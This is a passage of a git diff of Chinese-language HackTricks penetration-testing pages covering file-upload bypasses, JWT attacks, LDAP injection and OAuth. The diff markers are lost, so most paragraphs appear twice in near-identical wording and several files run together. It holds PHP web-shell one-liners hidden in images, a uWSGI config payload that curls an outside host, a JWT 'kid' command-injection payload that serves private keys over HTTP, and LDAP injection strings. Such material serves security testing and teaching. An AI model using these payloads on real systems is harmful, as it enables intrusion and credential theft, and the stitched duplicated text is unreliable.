Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
# 上传文件并检查响应允许多少个字符。假设236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png
# 上传文件并检查响应允许多少个字符。假设 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效载荷
@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
### 绕过内容类型、魔术数字、压缩和调整大小
- 通过将**Content-Type** **头**的**值**设置为以下内容来绕过**Content-Type**检查：_image/png_ , _text/plain , application/octet-stream_
- 通过将**Content-Type** **头**的**值**设置为：_image/png_ , _text/plain , application/octet-stream_ 来绕过**Content-Type**检查
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加**真实图像的字节**（混淆_file_命令）来绕过**魔术数字**检查。或者在**元数据**中引入shell：\
- 通过在文件开头添加**真实图像的字节**（混淆_file_命令）来绕过**魔术数字**检查。或者在**元数据**中引入 shell：\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 或者你也可以**直接在图像中引入有效载荷**：\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 如果**压缩被添加到你的图像中**，例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php)，那么之前的技术将无效。然而，你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本，使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能在**调整图像大小**，例如使用PHP-GD函数`imagecopyresized`或`imagecopyresampled`。然而，你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本，使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种制作**在图像调整大小中存活的有效载荷**的技术，使用PHP-GD函数`thumbnailImage`。然而，你可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本，使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- 如果**压缩被添加到你的图像**，例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php)，那么之前的技术将无效。然而，你可以使用**PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，使其**在压缩中存活**。
- [**带有代码的 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能在**调整图像大小**，例如使用 PHP-GD 函数 `imagecopyresized` 或 `imagecopyresampled`。然而，你可以使用**IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，使其**在压缩中存活**。
- [**带有代码的 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种制作**在图像调整大小中存活的有效载荷**的技术，使用 PHP-GD 函数 `thumbnailImage`。然而，你可以使用**tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本，使其**在压缩中存活**。
- [**带有代码的 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 其他检查技巧
- 找到一个**重命名**已上传文件的漏洞（以更改扩展名）。
- 找到一个**本地文件包含**漏洞以执行后门。
- **可能的信息泄露**：
1. **多次**（并且在**同一时间**）上传**同一文件**，使用**相同的名称**
1. **多次**（并且在**同一时间**）上传**同一文件**，并使用**相同的名称**
2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
3. 上传一个**“.”、 “..”或“…”作为其名称**的文件。例如，在Apache的**Windows**中，如果应用程序将上传的文件保存在“/www/uploads/”目录中，“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
3. 上传一个文件，其名称为**“.”、 “..”或“…”**。例如，在 Apache 的**Windows**中，如果应用程序将上传的文件保存在“/www/uploads/”目录中，则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 上传一个可能不容易删除的文件，例如**“…:.jpg”**在**NTFS**中。（Windows）
5. 在**Windows**中上传一个带有**无效字符**的文件，例如`|<>*?”`作为其名称。（Windows）
6. 在**Windows**中上传一个使用**保留**（**禁止**）**名称**的文件，例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8和LPT9。
- 还可以尝试**上传一个可执行文件**（.exe）或一个**.html**（不太可疑），当被受害者意外打开时**将执行代码**。
5. 在**Windows**中上传一个文件，其名称中包含**无效字符**，例如 `|<>*?”`。（Windows）
6. 在**Windows**中上传一个文件，使用**保留的**（**禁止的**）**名称**，例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 和 LPT9。
- 还可以尝试**上传一个可执行文件**（.exe）或一个**.html**（不太可疑），当受害者意外打开时**将执行代码**。
### 特殊扩展名技巧
如果你尝试将文件上传到**PHP服务器**， [查看**.htaccess**技巧以执行代码](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
如果你尝试将文件上传到**ASP服务器**， [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
如果你尝试将文件上传到**PHP 服务器**， [查看**.htaccess**技巧以执行代码](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
如果你尝试将文件上传到**ASP 服务器**， [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar`文件类似于Java的`.jar`，但用于PHP，可以**像PHP文件一样使用**（用PHP执行或在脚本中包含它...）
`.phar` 文件类似于 Java 的 `.jar`，但用于 PHP，并且可以**像 PHP 文件一样使用**（通过 PHP 执行或在脚本中包含它...）
`.inc`扩展名有时用于仅用于**导入文件**的PHP文件，因此，在某些时候，可能有人允许**此扩展名被执行**。
`.inc` 扩展名有时用于仅用于**导入文件**的 PHP 文件，因此，在某些时候，可能有人允许**此扩展名被执行**。
## **Jetty RCE**
如果你可以将XML文件上传到Jetty服务器，你可以获得[RCE，因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以，如下图所示，将XML文件上传到`$JETTY_BASE/webapps/`并期待shell！
如果你可以将 XML 文件上传到 Jetty 服务器，你可以获得 [RCE，因为**新的 \*.xml 和 \*.war 会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以，如下图所示，将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell！
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
有关此漏洞的详细探索，请查看原始研究：[uWSGI RCE利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
有关此漏洞的详细探索，请查看原始研究：[uWSGI RCE 利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
如果能够修改`.ini`配置文件，则可以在uWSGI服务器中利用远程命令执行（RCE）漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和操作符。特别是，`@`操作符，用作`@(filename)`，旨在包含文件的内容。在uWSGI支持的各种方案中，“exec”方案特别强大，允许从进程的标准输出读取数据。当处理`.ini`配置文件时，可以利用此功能进行恶意目的，例如远程命令执行或任意文件写入/读取。
如果能够修改 `.ini` 配置文件，则可以在 uWSGI 服务器中利用远程命令执行（RCE）漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和运算符。值得注意的是，`@` 运算符，作为 `@(filename)` 使用，旨在包含文件的内容。在 uWSGI 支持的各种方案中，“exec”方案特别强大，允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时，可以利用此功能进行恶意目的，例如远程命令执行或任意文件写入/读取。
考虑以下有害的`uwsgi.ini`文件示例，展示各种方案：
考虑以下有害的 `uwsgi.ini` 文件示例，展示各种方案：
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
有效负载的执行发生在配置文件解析期间。为了激活和解析配置，uWSGI 进程必须重新启动（可能是在崩溃后或由于拒绝服务攻击）或文件必须设置为自动重载。如果启用自动重载功能，在检测到更改时会在指定的时间间隔内重新加载文件。
在解析配置文件时会执行有效载荷。为了激活和解析配置，uWSGI 进程必须重新启动（可能是在崩溃后或由于拒绝服务攻击）或文件必须设置为自动重载。如果启用了自动重载功能，在检测到更改时会在指定的时间间隔内重新加载文件。
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说，讨论的有效负载可以插入到二进制文件中（例如图像或 PDF），进一步扩大潜在利用的范围。
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说，讨论的有效载荷可以插入到二进制文件中（例如图像或 PDF），进一步扩大潜在利用的范围。
## **wget 文件上传/SSRF 技巧**
在某些情况下，您可能会发现服务器使用 **`wget`** 来 **下载文件**，并且您可以 **指示** **URL**。在这些情况下，代码可能会检查下载文件的扩展名是否在白名单中，以确保仅下载允许的文件。然而，**此检查可以被绕过。**\
**linux** 中 **文件名** 的 **最大** 长度为 **255**，但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件，这个文件名将 **绕过** **检查**（因为在这个例子中 **".gif"** 是一个 **有效** 扩展名），但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
在某些情况下，您可能会发现服务器使用 **`wget`** 来 **下载文件**，并且您可以 **指示** **URL**。在这些情况下，代码可能会检查下载文件的扩展名是否在白名单中，以确保只下载允许的文件。然而，**此检查可以绕过。**\
**linux** 中 **文件名** 的 **最大** 长度为 **255**，但是 **wget** 会将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件，这个文件名将 **绕过** **检查**（因为在这个例子中 **".gif"** 是一个 **有效** 扩展名），但 `wget` 会将文件重命名为 **"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -174,7 +174,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果您可以**指示Web服务器从URL捕获图像**，您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/)。如果此**图像**将被**保存**在某个**公共**网站上，您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
- 如果您可以**指示Web服务器从URL获取图像**，您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/)。如果此**图像**将被**保存**在某个**公共**网站上，您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
- 特别制作的PDF以实现XSS：[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF，您可以准备一些将执行任意JS的PDF，遵循给定的指示。
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
@ -195,7 +195,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
#### Burp扩展
{% embed url="https://github.com/portswigger/upload-scanner" %}
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## 魔法头字节
@ -218,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### 在不同文件夹中解压
在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行，但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够通过操纵目标应用程序的解压功能来绕过限制并逃离安全上传目录。
在解压过程中意外创建文件在目录中是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行，但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制，通过操纵目标应用程序的解压功能来逃离安全上传目录。
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下：
```python
@ -287,7 +289,7 @@ pop graphic-context
```
## 在PNG中嵌入PHP Shell
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关，因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响，这对某些用例来说是一个显著的优势。
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关，因为它们通常用于调整和重新采样图像。嵌入的PHP shell能够不受这些操作影响，这在某些用例中是一个显著的优势。
以下文章提供了对该技术的详细探讨，包括其方法论和潜在应用：["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
@ -295,11 +297,11 @@ pop graphic-context
## 多语言文件
多语言文件在网络安全中作为一种独特的工具，像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)，它既可以作为GIF文件，也可以作为RAR归档。这样的文件并不限于这种配对；像GIF和JS或PPT和JS的组合也是可行的。
多语言文件在网络安全中作为一种独特的工具，像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)，它既可以作为GIF也可以作为RAR档案。这样的文件并不限于这种配对；像GIF和JS或PPT和JS的组合也是可行的。
多语言文件的核心用途在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式（例如JS、PHP或Phar文件）带来的风险。然而，多语言文件通过符合多种文件类型的结构标准，可以悄然绕过这些限制。
多语言文件的核心实用性在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式（例如JS、PHP或Phar文件）带来的风险。然而，多语言文件通过符合多种文件类型的结构标准，可以悄然绕过这些限制。
尽管它们具有适应性，多语言文件确实面临限制。例如，虽然一个多语言文件可能同时包含一个PHAR文件（PHp ARchive）和一个JPEG，但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格，仅仅是多语言文件的结构双重性可能不足以保证其上传。
尽管它们具有适应性，但多语言文件确实面临限制。例如，虽然一个多语言文件可能同时包含一个PHAR文件（PHp ARchive）和一个JPEG，但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格，仅仅是多语言文件的结构双重性可能不足以保证其上传。
更多信息在：[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -312,5 +314,4 @@ pop graphic-context
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
{{#include ../../banners/hacktricks-training.md}}

43
src/pentesting-web/hacking-jwt-json-web-tokens.md
View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
**本帖部分内容基于以下精彩文章:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
**本帖部分内容基于以下精彩文章：** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
**JWT 渗透测试的优秀工具作者** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool)
### **快速胜利**
@ -32,14 +32,14 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
要检查 JWT 的签名是否被验证：
- 错误消息表明正在进行验证；应检查详细错误中的敏感信息。
- 返回页面的变化也表明正在进行验证。
- 返回页面的变化也表明正在验证。
- 没有变化表明没有验证；这时可以尝试篡改有效负载声明。
### 来源
通过检查代理的请求历史，确定令牌是服务器端生成还是客户端生成非常重要。
- 首次从客户端看到的令牌表明密钥可能暴露在客户端代码中，需要进一步调查。
- 从客户端首次看到的令牌表明密钥可能暴露在客户端代码中，需要进一步调查。
- 来源于服务器端的令牌表明过程是安全的。
### 持续时间
@ -58,7 +58,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
### 将算法 RS256（非对称）更改为 HS256（对称）（CVE-2016-5431/CVE-2016-10555）
算法 HS256 使用密钥对每个消息进行签名和验证。\
算法 HS256 使用密钥对每条消息进行签名和验证。\
算法 RS256 使用私钥对消息进行签名，并使用公钥进行身份验证。
如果将算法从 RS256 更改为 HS256，后端代码将使用公钥作为密钥，然后使用 HS256 算法验证签名。
@ -103,11 +103,11 @@ python3 jwt_tool.py JWT_HERE -X s
#### 使用 "kid" 的路径遍历
`kid` 声明也可能被利用来在文件系统中导航，可能允许选择任意文件。可以通过更改 `kid` 值以针对特定文件或服务来测试连接性或执行服务器端请求伪造 (SSRF) 攻击。通过使用 `-T` 标志在 jwt_tool 中篡改 JWT 以更改 `kid` 值，同时保留原始签名，可以实现如下所示：
`kid` 声明也可能被利用来遍历文件系统，可能允许选择任意文件。可以通过更改 `kid` 值以针对特定文件或服务来测试连接性或执行服务器端请求伪造 (SSRF) 攻击。通过使用 `-T` 标志在 jwt_tool 中篡改 JWT 以更改 `kid` 值，同时保留原始签名，可以实现如下所示：
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
通过针对具有可预测内容的文件，可以伪造有效的JWT。例如，Linux系统中的`/proc/sys/kernel/randomize_va_space`文件，已知其包含值**2**，可以在`kid`参数中使用**2**作为JWT生成的对称密码。
通过针对具有可预测内容的文件，可以伪造有效的JWT。例如，Linux系统中的`/proc/sys/kernel/randomize_va_space`文件，已知包含值**2**，可以在`kid`参数中使用**2**作为JWT生成的对称密码。
#### 通过“kid”的SQL注入
@ -117,9 +117,9 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
此更改强制使用已知的秘密密钥`ATTACKER`进行JWT签名。
#### 通过“kid”的OS注入
#### 通过“kid”的操作系统注入
`kid`参数指定在命令执行上下文中使用的文件路径的场景可能导致远程代码执行（RCE）漏洞。通过向`kid`参数注入命令，可以暴露私钥。实现RCE和密钥暴露的示例有效载荷是：
`kid`参数指定在命令执行上下文中使用的文件路径的场景可能导致远程代码执行（RCE）漏洞。通过向`kid`参数注入命令，可以暴露私钥。一个实现RCE和密钥暴露的示例有效载荷是：
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -177,7 +177,7 @@ openssl x509 -in attacker.crt -text
```
### 嵌入式公钥 (CVE-2018-0114)
如果JWT嵌入了公钥，如下场景所示：
如果JWT嵌入了公钥，如以下场景所示：
![](<../images/image (624).png>)
@ -197,7 +197,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
您可以使用此 nodejs 脚本获取 "n" 和 "e"：
您可以使用此 nodejs 脚本获取 "n" 和 "e":
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
@ -213,34 +213,37 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
如果某些应用程序使用 ES256 并使用相同的随机数生成两个 JWT，则可以恢复私钥。
这是一个例子：[ECDSA：如果使用相同的随机数则泄露私钥（使用 SECP256k1）](https://asecuritysite.com/encryption/ecd5)
这是一个例子：[ECDSA：如果使用相同的随机数泄露私钥（使用 SECP256k1）](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防止令牌被重放。\
然而，想象一下 ID 的最大长度为 4（0001-9999）。请求 0001 和 10001 将使用相同的 ID。因此，如果后端在每个请求中递增 ID，您可以利用这一点来 **重放请求**（需要在每次成功重放之间发送 10000 个请求）。
JTI (JWT ID) 声明为 JWT 令牌提供了一个唯一标识符。它可以用于防止令牌被重放。\
然而，想象一个情况，其中 ID 的最大长度为 4（0001-9999）。请求 0001 和 10001 将使用相同的 ID。因此，如果后端在每个请求中递增 ID，您可以利用这一点来 **重放请求**（需要在每次成功重放之间发送 10000 个请求）。
### JWT 注册声明
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
{{#ref}}
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
{{#endref}}
### 其他攻击
**跨服务中继攻击**
已经观察到一些 Web 应用程序依赖于受信任的 JWT 服务来生成和管理其令牌。记录到的实例表明，由 JWT 服务为一个客户端生成的令牌被同一 JWT 服务的另一个客户端接受。如果通过第三方服务观察到 JWT 的发行或续订，则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求中重放获得的令牌，以查看是否被接受。
已经观察到一些 Web 应用程序依赖于受信任的 JWT 服务来生成和管理其令牌。记录到的实例表明，由 JWT 服务为一个客户端生成的令牌被同一 JWT 服务的另一个客户端接受。如果通过第三方服务观察到 JWT 的发行或续订，应调查使用相同用户名/电子邮件在该服务的另一个客户端注册帐户的可能性。然后应尝试在请求中重放获得的令牌，以查看是否被接受。
- 您的令牌被接受可能表明存在一个关键问题，这可能允许伪造任何用户的帐户。然而，需要注意的是，如果在第三方应用程序上注册，则可能需要更广泛测试的权限，因为这可能进入法律灰色地带。
- 如果您的令牌被接受，可能表明存在一个关键问题，这可能允许伪造任何用户的帐户。然而，需要注意的是，如果在第三方应用程序上注册，可能需要更广泛测试的权限，因为这可能进入法律灰色地带。
**令牌的过期检查**
令牌的过期是通过 "exp" 负载声明进行检查的。鉴于 JWT 通常在没有会话信息的情况下使用，因此需要谨慎处理。在许多情况下，捕获和重放另一个用户的 JWT 可能会使您能够冒充该用户。JWT RFC 建议通过利用 "exp" 声明为令牌设置过期时间来减轻 JWT 重放攻击。此外，应用程序实施相关检查以确保处理此值并拒绝过期令牌至关重要。如果令牌包含 "exp" 声明并且测试时间限制允许，建议存储令牌并在过期时间过去后重放它。令牌的内容，包括时间戳解析和过期检查（UTC 中的时间戳），可以使用 jwt_tool 的 -R 标志读取。
使用 "exp" 负载声明检查令牌的过期。鉴于 JWT 通常在没有会话信息的情况下使用，因此需要谨慎处理。在许多情况下，捕获并重放另一个用户的 JWT 可能会使您能够冒充该用户。JWT RFC 建议通过利用 "exp" 声明为令牌设置过期时间来减轻 JWT 重放攻击。此外，应用程序实施相关检查以确保处理此值并拒绝过期令牌至关重要。如果令牌包含 "exp" 声明，并且测试时间限制允许，建议存储令牌并在过期时间过去后重放。令牌的内容，包括时间戳解析和过期检查（UTC 中的时间戳），可以使用 jwt_tool 的 -R 标志读取。
- 如果应用程序仍然验证令牌，则可能存在安全风险，因为这可能意味着令牌永远不会过期。
- 如果应用程序仍然验证令牌，可能存在安全风险，因为这可能意味着令牌永远不会过期。
### 工具
{% embed url="https://github.com/ticarpi/jwt_tool" %}
{{#ref}}
https://github.com/ticarpi/jwt_tool
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

17
src/pentesting-web/ldap-injection.md
View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP 注入** 是一种针对构建 LDAP 语句的 web 应用程序的攻击，攻击者通过用户输入进行操作。当应用程序 **未能正确清理** 输入时，攻击者可以通过本地代理 **操纵 LDAP 语句**，这可能导致未经授权的访问或数据操控。
**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 web 应用程序的攻击。当应用程序 **未能正确清理** 输入时，就会发生这种情况，攻击者可以通过本地代理 **操纵 LDAP 语句**，可能导致未经授权的访问或数据操纵。
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -46,13 +46,13 @@
**发送过滤器时使用正确的语法非常重要，否则会抛出错误。最好只发送 1 个过滤器。**
过滤器必须以 `&` 或 `|` 开头。\
示例： `(&(directory=val1)(folder=public))`
过滤器必须以：`&` 或 `|` 开头\
示例：`(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
然后： `(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器（被执行的那个）。
然后：`(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器（被执行的那个）。
### 登录绕过
@ -117,9 +117,9 @@ password=any
- [LDAP 属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount 属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### 隐式 LDAP 注入
### 盲 LDAP 注入
您可以强制返回 False 或 True 响应，以检查是否返回任何数据并确认可能的隐式 LDAP 注入：
您可以强制返回 False 或 True 响应，以检查是否返回任何数据并确认可能的盲 LDAP 注入：
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
```
### 更多有效载荷
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

69
src/pentesting-web/oauth-to-account-takeover.md
View File

@ -4,20 +4,20 @@
## 基本信息 <a href="#d4a8" id="d4a8"></a>
OAuth 提供了多种版本，基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/)，提供一个 **授权框架，使应用程序能够访问或在另一个应用程序中执行用户账户上的操作**（授权服务器）。
OAuth 提供了多种版本，基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/)，提供一个 **授权框架，使应用程序能够访问或在另一个应用程序中执行用户账户的操作**（授权服务器）。
